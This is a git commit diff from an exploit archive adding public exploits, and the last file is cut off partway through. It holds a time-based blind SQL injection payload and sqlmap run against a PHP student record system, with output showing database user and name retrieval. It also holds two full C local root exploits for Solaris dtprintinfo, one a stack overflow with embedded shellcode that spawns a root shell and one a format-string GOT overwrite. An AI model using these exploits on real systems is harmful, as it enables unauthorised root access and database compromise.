DB: 2021-02-03
6 changes to exploits/shellcodes Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3) Student Record System 4.0 - 'cid' SQL Injection
This commit is contained in:
parent
f7b4bca87b
commit
0f068c1f51
7 changed files with 2039 additions and 1 deletions
102
exploits/php/webapps/49513.txt
Normal file
102
exploits/php/webapps/49513.txt
Normal file
|
@ -0,0 +1,102 @@
|
|||
# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
|
||||
# Date: 2/2/2021
|
||||
# Exploit Author: Jannick Tiger
|
||||
# Vendor Homepage: https://phpgurukul.com/
|
||||
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
|
||||
# Version: V 4.0
|
||||
# Tested on: Windows、XAMPP
|
||||
|
||||
# Identify the vulnerability
|
||||
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
|
||||
2. then go to http://localhost/schoolmanagement/pages/view-course.php
|
||||
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
|
||||
|
||||
If the web server makes you wait 5 seconds then it's vulnerable
|
||||
|
||||
# Exploit
|
||||
|
||||
Now you can exploit it using sqlmap
|
||||
|
||||
command: sqlmap -u url --batch --dbms=mysql --current-db --current-user
|
||||
|
||||
example: sqlmap.py -u
|
||||
http://localhost/schoolmanagement/edit-course.php?cid=7 --batch
|
||||
--dbms=mysql --current-db --current-user
|
||||
|
||||
|
||||
|
||||
___
|
||||
__H__
|
||||
___ ___["]_____ ___ ___ {1.4.10.16#dev}
|
||||
|_ -| . [,] | .'| . |
|
||||
|___|_ [(]_|_|_|__,| _|
|
||||
|_|V... |_| http://sqlmap.org
|
||||
|
||||
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
|
||||
mutual consent is illegal. It is the end user's responsibility to obey all
|
||||
applicable local, state and federal laws. Developers assume no liability
|
||||
and are not responsible for any misuse or damage caused by this program
|
||||
|
||||
[*] starting @ 13:21:36 /2021-02-02/
|
||||
|
||||
[13:21:36] [INFO] testing connection to the target URL
|
||||
got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'.
|
||||
Do you want to follow? [Y/n] Y
|
||||
you have not declared cookie(s), while server wants to set its own
|
||||
('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y
|
||||
[13:21:37] [INFO] checking if the target is protected by some kind of
|
||||
WAF/IPS
|
||||
[13:21:37] [INFO] testing if the target URL content is stable
|
||||
[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic
|
||||
[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid'
|
||||
might not be injectable
|
||||
[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid'
|
||||
[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
|
||||
[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace
|
||||
(original value)'
|
||||
[13:21:38] [INFO] testing 'Generic inline queries'
|
||||
[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING,
|
||||
ORDER BY or GROUP BY clause (FLOOR)'
|
||||
[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace
|
||||
(FLOOR)'
|
||||
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query
|
||||
SLEEP)'
|
||||
[13:21:39] [WARNING] time-based comparison requires larger statistical
|
||||
model, please wait............... (done)
|
||||
[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND
|
||||
time-based blind (query SLEEP)' injectable
|
||||
for the remaining tests, do you want to include all tests for 'MySQL'
|
||||
extending provided level (1) and risk (1) values? [Y/n] Y
|
||||
[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
|
||||
[13:21:50] [INFO] automatically extending ranges for UNION query injection
|
||||
technique tests as there is at least one other (potential) technique found
|
||||
[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is
|
||||
a false positive
|
||||
GET parameter 'cid' is vulnerable. Do you want to keep testing the others
|
||||
(if any)? [y/N] N
|
||||
sqlmap identified the following injection point(s) with a total of 65
|
||||
HTTP(s) requests:
|
||||
---
|
||||
Parameter: cid (GET)
|
||||
Type: time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND
|
||||
'yXjI'='yXjI
|
||||
---
|
||||
[13:22:13] [INFO] the back-end DBMS is MySQL
|
||||
[13:22:13] [WARNING] it is very important to not stress the network
|
||||
connection during usage of time-based payloads to prevent potential
|
||||
disruptions
|
||||
do you want sqlmap to try to optimize value(s) for DBMS delay responses
|
||||
(option '--time-sec')? [Y/n] Y
|
||||
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
|
||||
[13:22:18] [INFO] fetching current user
|
||||
[13:22:18] [INFO] retrieved:
|
||||
[13:22:28] [INFO] adjusting time delay to 1 second due to good response
|
||||
times
|
||||
root@localhost
|
||||
current user: 'root@localhost'
|
||||
[13:23:24] [INFO] fetching current database
|
||||
[13:23:24] [INFO] retrieved: schoolmanagement
|
||||
current database: 'schoolmanagement'
|
||||
[13:24:22] [INFO] fetched data logged to text files under
|
356
exploits/solaris/local/49514.c
Normal file
356
exploits/solaris/local/49514.c
Normal file
|
@ -0,0 +1,356 @@
|
|||
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
|
||||
# Date: 2021-02-01
|
||||
# Exploit Author: Marco Ivaldi
|
||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
||||
# Version: Solaris 10
|
||||
# Tested on: Solaris 10 1/13 Intel
|
||||
|
||||
|
||||
/*
|
||||
* raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
|
||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* "What we do in life echoes in eternity" -- Maximus Decimus Meridius
|
||||
* https://patchfriday.com/22/
|
||||
*
|
||||
* Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
|
||||
* local root. This one was discovered by Marti Guasch Jimenez, who attended my
|
||||
* talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
|
||||
* May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
|
||||
*
|
||||
* It's a stack-based buffer overflow in the check_dir() function:
|
||||
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
|
||||
* char local_724 [300];
|
||||
* ...
|
||||
* __format = getenv("REQ_DIR");
|
||||
* sprintf(local_724,__format,param_2);
|
||||
*
|
||||
* "To trigger this vulnerability we need a printer present, we can also fake
|
||||
* it with the lpstat trick. We also need at least one directory in the path
|
||||
* pointed by the environment variable TMP_DIR. Finally, we just need to set
|
||||
* REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
|
||||
* overwrite EIP." -- Marti Guasch Jimenez
|
||||
*
|
||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
||||
* confirm this because I have no access to their patches:/
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
|
||||
* [on your xserver: disable the access control]
|
||||
* $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
|
||||
* [on your xserver: double click on the fake "fnord" printer]
|
||||
* [...]
|
||||
* # id
|
||||
* uid=0(root) gid=1(other)
|
||||
* #
|
||||
*
|
||||
* Tested on:
|
||||
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
|
||||
* [previous Solaris versions are also likely vulnerable]
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <link.h>
|
||||
#include <procfs.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/systeminfo.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
|
||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
|
||||
#define BUFSIZE 2048 // size of the evil env var
|
||||
|
||||
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
|
||||
/* double setuid() */
|
||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
||||
/* execve() */
|
||||
"\x31\xc0\x50\x68/ksh\x68/bin"
|
||||
"\x89\xe3\x50\x53\x89\xe2\x50"
|
||||
"\x52\x53\xb0\x3b\x50\xcd\x91";
|
||||
|
||||
/* globals */
|
||||
char *arg[2] = {"foo", NULL};
|
||||
char *env[256];
|
||||
int env_pos = 0, env_len = 0;
|
||||
|
||||
/* prototypes */
|
||||
int add_env(char *string);
|
||||
void check_zero(int addr, char *pattern);
|
||||
int get_sc_addr(char *path, char **argv);
|
||||
int search_ldso(char *sym);
|
||||
int search_rwx_mem(void);
|
||||
void set_val(char *buf, int pos, int val);
|
||||
|
||||
/*
|
||||
* main()
|
||||
*/
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char buf[BUFSIZE];
|
||||
char platform[256], release[256], display[256];
|
||||
int i, sc_addr;
|
||||
|
||||
int sb = ((int)argv[0] | 0xfff); /* stack base */
|
||||
int ret = search_ldso("strcpy"); /* or sprintf */
|
||||
int rwx_mem = search_rwx_mem(); /* rwx memory */
|
||||
|
||||
/* lpstat code to add a fake printer */
|
||||
if (!strcmp(argv[0], "lpstat")) {
|
||||
|
||||
/* check command line */
|
||||
if (argc != 2)
|
||||
exit(1);
|
||||
|
||||
/* print the expected output and exit */
|
||||
if(!strcmp(argv[1], "-v")) {
|
||||
fprintf(stderr, "lpstat called with -v\n");
|
||||
printf("device for fnord: /dev/null\n");
|
||||
} else {
|
||||
fprintf(stderr, "lpstat called with -d\n");
|
||||
printf("system default destination: fnord\n");
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* helper program that prints argv[0] address, used by get_sc_addr() */
|
||||
if (!strcmp(argv[0], "foo")) {
|
||||
printf("0x%p\n", argv[0]);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* process command line */
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
||||
|
||||
/* prepare the evil env var */
|
||||
memset(buf, 'A', sizeof(buf));
|
||||
buf[sizeof(buf) - 1] = 0x0;
|
||||
memcpy(buf, "REQ_DIR=", 8);
|
||||
|
||||
/* fill the envp, keeping padding */
|
||||
add_env(sc);
|
||||
add_env(buf);
|
||||
add_env(display);
|
||||
add_env("TMP_DIR=/tmp");
|
||||
add_env("PATH=.:/usr/bin");
|
||||
add_env("HOME=/tmp");
|
||||
add_env(NULL);
|
||||
|
||||
/* calculate the shellcode address */
|
||||
sc_addr = get_sc_addr(VULN, argv);
|
||||
|
||||
/* fill with ld.so.1 address, saved eip, and arguments */
|
||||
for (i = 12; i < BUFSIZE - 20; i += 4) {
|
||||
set_val(buf, i, ret); /* strcpy */
|
||||
set_val(buf, i += 4, rwx_mem); /* saved eip */
|
||||
set_val(buf, i += 4, rwx_mem); /* 1st argument */
|
||||
set_val(buf, i += 4, sc_addr); /* 2nd argument */
|
||||
}
|
||||
|
||||
/* we need at least one directory inside TMP_DIR to trigger the bug */
|
||||
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
|
||||
/* create a symlink for the fake lpstat */
|
||||
unlink("lpstat");
|
||||
symlink(argv[0], "lpstat");
|
||||
|
||||
/* print some output */
|
||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
||||
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
|
||||
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
|
||||
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
|
||||
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
|
||||
|
||||
/* check for null bytes */
|
||||
check_zero(sc_addr, "sc address");
|
||||
|
||||
/* run the vulnerable program */
|
||||
execve(VULN, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* add_env(): add a variable to envp and pad if needed
|
||||
*/
|
||||
int add_env(char *string)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* null termination */
|
||||
if (!string) {
|
||||
env[env_pos] = NULL;
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/* add the variable to envp */
|
||||
env[env_pos] = string;
|
||||
env_len += strlen(string) + 1;
|
||||
env_pos++;
|
||||
|
||||
/* pad the envp using zeroes */
|
||||
if ((strlen(string) + 1) % 4)
|
||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
||||
env[env_pos] = string + strlen(string);
|
||||
env_len++;
|
||||
}
|
||||
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/*
|
||||
* check_zero(): check an address for the presence of a 0x00
|
||||
*/
|
||||
void check_zero(int addr, char *pattern)
|
||||
{
|
||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
||||
!(addr & 0xff000000)) {
|
||||
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* get_sc_addr(): get shellcode address using a helper program
|
||||
*/
|
||||
int get_sc_addr(char *path, char **argv)
|
||||
{
|
||||
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
char hex[11] = "\x00";
|
||||
int fd[2], addr;
|
||||
|
||||
/* truncate program name at correct length and create a hard link */
|
||||
prog[strlen(path)] = 0x0;
|
||||
unlink(prog);
|
||||
link(argv[0], prog);
|
||||
|
||||
/* open pipe to read program output */
|
||||
if (pipe(fd) < 0) {
|
||||
perror("pipe");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch(fork()) {
|
||||
|
||||
case -1: /* cannot fork */
|
||||
perror("fork");
|
||||
exit(1);
|
||||
|
||||
case 0: /* child */
|
||||
dup2(fd[1], 1);
|
||||
close(fd[0]);
|
||||
close(fd[1]);
|
||||
execve(prog, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
|
||||
default: /* parent */
|
||||
close(fd[1]);
|
||||
read(fd[0], hex, sizeof(hex));
|
||||
break;
|
||||
}
|
||||
|
||||
/* check and return address */
|
||||
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
|
||||
fprintf(stderr, "error: cannot read sc address from helper program\n");
|
||||
exit(1);
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
* search_ldso(): search for a symbol inside ld.so.1
|
||||
*/
|
||||
int search_ldso(char *sym)
|
||||
{
|
||||
int addr;
|
||||
void *handle;
|
||||
Link_map *lm;
|
||||
|
||||
/* open the executable object file */
|
||||
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
|
||||
perror("dlopen");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get dynamic load information */
|
||||
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
|
||||
perror("dlinfo");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* search for the address of the symbol */
|
||||
if ((addr = (int)dlsym(handle, sym)) == NULL) {
|
||||
fprintf(stderr, "sorry, function %s() not found\n", sym);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* close the executable object file */
|
||||
dlclose(handle);
|
||||
|
||||
check_zero(addr - 4, sym);
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
* search_rwx_mem(): search for an RWX memory segment valid for all
|
||||
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
|
||||
*/
|
||||
int search_rwx_mem(void)
|
||||
{
|
||||
int fd;
|
||||
char tmp[16];
|
||||
prmap_t map;
|
||||
int addr = 0, addr_old;
|
||||
|
||||
/* open the proc filesystem */
|
||||
sprintf(tmp,"/proc/%d/map", (int)getpid());
|
||||
if ((fd = open(tmp, O_RDONLY)) < 0) {
|
||||
fprintf(stderr, "can't open %s\n", tmp);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* search for the last RWX memory segment before stack (last - 1) */
|
||||
while (read(fd, &map, sizeof(map)))
|
||||
if (map.pr_vaddr)
|
||||
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
|
||||
addr_old = addr;
|
||||
addr = map.pr_vaddr;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
/* add 4 to the exact address null bytes */
|
||||
if (!(addr_old & 0xff))
|
||||
addr_old |= 0x04;
|
||||
if (!(addr_old & 0xff00))
|
||||
addr_old |= 0x0400;
|
||||
|
||||
return addr_old;
|
||||
}
|
||||
|
||||
/*
|
||||
* set_val(): copy a dword inside a buffer (little endian)
|
||||
*/
|
||||
void set_val(char *buf, int pos, int val)
|
||||
{
|
||||
buf[pos] = (val & 0x000000ff);
|
||||
buf[pos + 1] = (val & 0x0000ff00) >> 8;
|
||||
buf[pos + 2] = (val & 0x00ff0000) >> 16;
|
||||
buf[pos + 3] = (val & 0xff000000) >> 24;
|
||||
}
|
279
exploits/solaris/local/49515.c
Normal file
279
exploits/solaris/local/49515.c
Normal file
|
@ -0,0 +1,279 @@
|
|||
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
|
||||
# Date: 2021-02-01
|
||||
# Exploit Author: Marco Ivaldi
|
||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
||||
# Version: Solaris 10
|
||||
# Tested on: Solaris 10 1/13 Intel
|
||||
|
||||
/*
|
||||
* raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
|
||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
|
||||
* https://youtu.be/KEkrWRHCDQU
|
||||
*
|
||||
* Same code snippet, different vulnerability. 20 years later, format string
|
||||
* bugs are not extinct after all! The vulnerable function looks like this:
|
||||
*
|
||||
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
|
||||
* {
|
||||
* ...
|
||||
* char local_724 [300];
|
||||
* ...
|
||||
* else {
|
||||
* __format = getenv("REQ_DIR");
|
||||
* sprintf(local_724,__format,param_2); // [1]
|
||||
* }
|
||||
* ...
|
||||
* local_c = strlen(local_724); // [2]
|
||||
* sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
|
||||
* ...
|
||||
* }
|
||||
*
|
||||
* The plan (inspired by an old technique devised by gera) is to exploit the
|
||||
* sprintf at [1], where we control the format string, to replace the strlen
|
||||
* at [2] with a strdup and the sprintf at [3] with a call to the shellcode
|
||||
* dynamically allocated in the heap by strdup and pointed to by the local_c
|
||||
* variable at [2]. In practice, to pull this off the structure of the evil
|
||||
* environment variable REQ_DIR must be:
|
||||
* [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
|
||||
*
|
||||
* To collect the needed addresses for your system, use:
|
||||
* $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
|
||||
* 080994cc R_386_JUMP_SLOT strlen
|
||||
* $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
|
||||
* 080994e4 R_386_JUMP_SLOT sprintf
|
||||
* $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
|
||||
* 0805df20 F *UND* 00000000 strdup
|
||||
* $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
|
||||
* 08067f52: ff 55 f8 call *-0x8(%ebp)
|
||||
*
|
||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
||||
* confirm this because I have no access to their patches:/
|
||||
*
|
||||
* See also:
|
||||
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
|
||||
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
|
||||
* raptor_dtprintcheckdir_sparc2.c (the real deal)
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
|
||||
* [on your xserver: disable the access control]
|
||||
* $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
|
||||
* [on your xserver: double click on the fake "fnord" printer]
|
||||
* [...]
|
||||
* # id
|
||||
* uid=0(root) gid=1(other)
|
||||
* #
|
||||
*
|
||||
* Tested on:
|
||||
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
|
||||
* [previous Solaris versions are also likely vulnerable]
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/systeminfo.h>
|
||||
|
||||
#define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
|
||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
|
||||
#define BUFSIZE 300 // size of evil env var
|
||||
#define STACKPOPSEQ "%.8x" // stackpop sequence
|
||||
#define STACKPOPS 14 // number of stackpops
|
||||
|
||||
/* replace with valid addresses for your system */
|
||||
#define STRLEN 0x080994cc // .got strlen address
|
||||
#define SPRINTF 0x080994e4 // .got sprintf address
|
||||
#define STRDUP 0x0805df20 // .plt strdup address
|
||||
#define RET 0x08067f52 // call *-0x8(%ebp) address
|
||||
|
||||
/* split an address in 4 bytes */
|
||||
#define SPLITB(b1, b2, b3, b4, addr) { \
|
||||
b1 = (addr & 0x000000ff); \
|
||||
b2 = (addr & 0x0000ff00) >> 8; \
|
||||
b3 = (addr & 0x00ff0000) >> 16; \
|
||||
b4 = (addr & 0xff000000) >> 24; \
|
||||
}
|
||||
|
||||
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
|
||||
/* double setuid() */
|
||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
||||
/* execve() */
|
||||
"\x31\xc0\x50\x68/ksh\x68/bin"
|
||||
"\x89\xe3\x50\x53\x89\xe2\x50"
|
||||
"\x52\x53\xb0\x3b\x50\xcd\x91";
|
||||
|
||||
/* globals */
|
||||
char *arg[2] = {"foo", NULL};
|
||||
char *env[256];
|
||||
int env_pos = 0, env_len = 0;
|
||||
|
||||
/* prototypes */
|
||||
int add_env(char *string);
|
||||
|
||||
/*
|
||||
* main()
|
||||
*/
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char buf[BUFSIZE], *p = buf;
|
||||
char platform[256], release[256], display[256];
|
||||
|
||||
int i, stackpops = STACKPOPS;
|
||||
unsigned base, n1, n2, n3, n4, n5, n6, n7, n8;
|
||||
unsigned char strdup1, strdup2, strdup3, strdup4;
|
||||
unsigned char ret1, ret2, ret3, ret4;
|
||||
|
||||
int strlen_got = STRLEN;
|
||||
int sprintf_got = SPRINTF;
|
||||
int strdup_plt = STRDUP;
|
||||
int ret = RET;
|
||||
|
||||
/* lpstat code to add a fake printer */
|
||||
if (!strcmp(argv[0], "lpstat")) {
|
||||
|
||||
/* check command line */
|
||||
if (argc != 2)
|
||||
exit(1);
|
||||
|
||||
/* print the expected output and exit */
|
||||
if(!strcmp(argv[1], "-v")) {
|
||||
fprintf(stderr, "lpstat called with -v\n");
|
||||
printf("device for fnord: /dev/null\n");
|
||||
} else {
|
||||
fprintf(stderr, "lpstat called with -d\n");
|
||||
printf("system default destination: fnord\n");
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* process command line */
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
||||
|
||||
/* evil env var: name + shellcode + padding */
|
||||
bzero(buf, BUFSIZE);
|
||||
sprintf(buf, "REQ_DIR=%s#", sc);
|
||||
p += strlen(buf);
|
||||
|
||||
/* format string: .got strlen address */
|
||||
*((void **)p) = (void *)(strlen_got); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(strlen_got + 1); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(strlen_got + 2); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(strlen_got + 3); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
|
||||
/* format string: .got sprintf address */
|
||||
*((void **)p) = (void *)(sprintf_got); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(sprintf_got + 1); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(sprintf_got + 2); p += 4;
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(sprintf_got + 3); p += 4;
|
||||
|
||||
/* format string: stackpop sequence */
|
||||
base = strlen(buf) - strlen("REQ_DIR=");
|
||||
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
|
||||
strcat(p, STACKPOPSEQ);
|
||||
|
||||
/* calculate numeric arguments for .plt strdup address */
|
||||
SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
|
||||
n1 = (strdup1 - base) % 0x100;
|
||||
n2 = (strdup2 - base - n1) % 0x100;
|
||||
n3 = (strdup3 - base - n1 - n2) % 0x100;
|
||||
n4 = (strdup4 - base - n1 - n2 - n3) % 0x100;
|
||||
|
||||
/* calculate numeric arguments for call *-0x8(%ebp) address */
|
||||
SPLITB(ret1, ret2, ret3, ret4, ret);
|
||||
n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100;
|
||||
n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100;
|
||||
n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100;
|
||||
n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100;
|
||||
|
||||
/* check for potentially dangerous numeric arguments below 10 */
|
||||
n1 += (n1 < 10) ? (0x100) : (0);
|
||||
n2 += (n2 < 10) ? (0x100) : (0);
|
||||
n3 += (n3 < 10) ? (0x100) : (0);
|
||||
n4 += (n4 < 10) ? (0x100) : (0);
|
||||
n5 += (n5 < 10) ? (0x100) : (0);
|
||||
n6 += (n6 < 10) ? (0x100) : (0);
|
||||
n7 += (n7 < 10) ? (0x100) : (0);
|
||||
n8 += (n8 < 10) ? (0x100) : (0);
|
||||
|
||||
/* format string: write string */
|
||||
sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
|
||||
|
||||
/* fill the envp, keeping padding */
|
||||
add_env(buf);
|
||||
add_env(display);
|
||||
add_env("TMP_DIR=/tmp");
|
||||
add_env("PATH=.:/usr/bin");
|
||||
add_env("HOME=/tmp");
|
||||
add_env(NULL);
|
||||
|
||||
/* we need at least one directory inside TMP_DIR to trigger the bug */
|
||||
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
|
||||
/* create a symlink for the fake lpstat */
|
||||
unlink("lpstat");
|
||||
symlink(argv[0], "lpstat");
|
||||
|
||||
/* print some output */
|
||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
||||
fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
|
||||
fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
|
||||
